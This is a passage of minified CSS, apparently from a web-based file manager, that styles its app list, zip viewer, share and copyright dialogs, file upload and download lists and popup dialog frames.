5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.zipViewDialog .aui_content{min-width:400px;position:relative;}.zipViewDialog .zipViewContent{position:absolute;left:0;right:0;top:35px;bottom:0;margin:0 10px 10px 10px;border-radius:3px;border:1px solid #eee;margin:0px;min-width:400px;border:none;top:0px;}.zipViewDialog .zipViewContent #folderListZip{padding:5px;}.zipViewDialog .zipViewContent .header_title{height:23px;line-height:23px;border-bottom:1px solid #ddd;border-top:1px solid #ddd;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;}.zipViewDialog .zipViewContent .header_title .item{float:left;}.zipViewDialog .zipViewContent .header_title .item span{display:block;border-right:1px solid #ddd;padding-left:10px;cursor:default;}.zipViewDialog .zipViewContent .header_title .name{width:60%;}.zipViewDialog .zipViewContent .header_title .size{width:10%;}.zipViewDialog .zipViewContent .header_title .mtime{width:30%;}.zipViewDialog .zipViewContent .header_title .item.mtime span{border-right:none;}.zipViewDialog .zipViewContent .ztree{padding:0px;position:absolute;top:25px;left:0;right:0px;bottom:26px;overflow:auto;}.zipViewDialog .zipViewContent .ztree li,.zipViewDialog .zipViewContent .ztree li ul{width:100%;}.zipViewDialog .zipViewContent .ztree li a{position:relative;padding-left:0;color:#333;text-shadow:none;}.zipViewDialog .zipViewContent .ztree li a:hover{transition:none;}.zipViewDialog .zipViewContent .ztree li a.odd{background:#f1f7ff;}.zipViewDialog .zipViewContent .ztree li a:hover,.zipViewDialog .zipViewContent .ztree li a.odd:hover{background:#eee;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode,.zipViewDialog .zipViewContent .ztree li a.odd.curSelectedNode{background:#63acff;color:#fff;}.zipViewDialog .zipViewContent .ztree li a .time{float:right;width:27%;padding-left:3%;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .size{float:right;width:10%;text-align:right;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .menu_more{display:none;position:absolute;right:0px;top:0;text-align:center;width:25px;height:24px;background:#fff;background:rgba(50,50,50,0.1);color:#666;}.zipViewDialog .zipViewContent .ztree li a:hover .menu_more{display:block;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode .menu_more{display:block;color:#fff;}.zipViewDialog .zipViewContent .bottom{position:absolute;left:0;right:0px;bottom:0;width:100%;text-align:center;height:25px;line-height:25px;font-size:12px;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;border-top:1px solid #eee;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;position:relative;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:350px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:240px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.server_dwonload_textarea textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.server_dwonload_textarea textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload{height:385px;padding:5px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload .upload_box_tips .btn.btn-default{border-radius:3px;color:#555;}.file_upload .upload_box_tips .btn-group>.btn:last-child:not(:first-child),.file_upload .upload_box_tips .btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px 10px 0;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;position:relative;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{float:left;height:30px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;width:50%;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;width:27%;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;}.file_upload .uploader-list .item.success,.file_upload .download_list .item.success{background:#eaf8ff;}.file_upload .uploader-list .item.error,.file_upload .download_list .item.error{background:#ffe8e6;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;border-radius:0;box-shadow:none;position:absolute;top:0;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#adf;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ddeeff',endColorstr='#88ccff',GradientType=1);BACKGROUND-REPEAT:repeat-x;}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.btn{ padding:5px 14px;} input[type='checkbox'].kui-checkbox-ios.size-big + em{ height:27px;} #body .system_conennt .right_frame .user_list table tr td.select input{ position:relative;top:4px;} #body table tr input[type='text']{ line-height:22px;} .do_search .search_header .btn-right{ margin:-9px 0 0 -2px;height:23px;} .appbox .appline.icon .open{ margin-top:-2px;} .appbox .appline label{ position:relative;top:-4px;} #body .main .group_editor .tag input{ position:relative;top:-5px;} .share_dialog .aui_border{ overflow:auto;} .share_dialog .content_box .content_info .input_line.select_path a.select_btn{ padding:3px 8px 4px;} .kui-radio + span, .kui-checkbox + span{ position:relative;top:-6px;} .kui-radio.size-small + span, .kui-checkbox.size-small + span{ position:relative;top:-4px;} .kui-radio.size-smallx + span, .kui-checkbox.size-smallx + span{ position:relative;top:-2px;}}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img,.aui_title .x-item-file{width:20px;margin-right:5px;border-radius:4px;cursor:pointer;pointer-events:all;}.aui_title img:hover,.aui_title .x-item-file:hover{transform:scale(1.1,1.1);}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 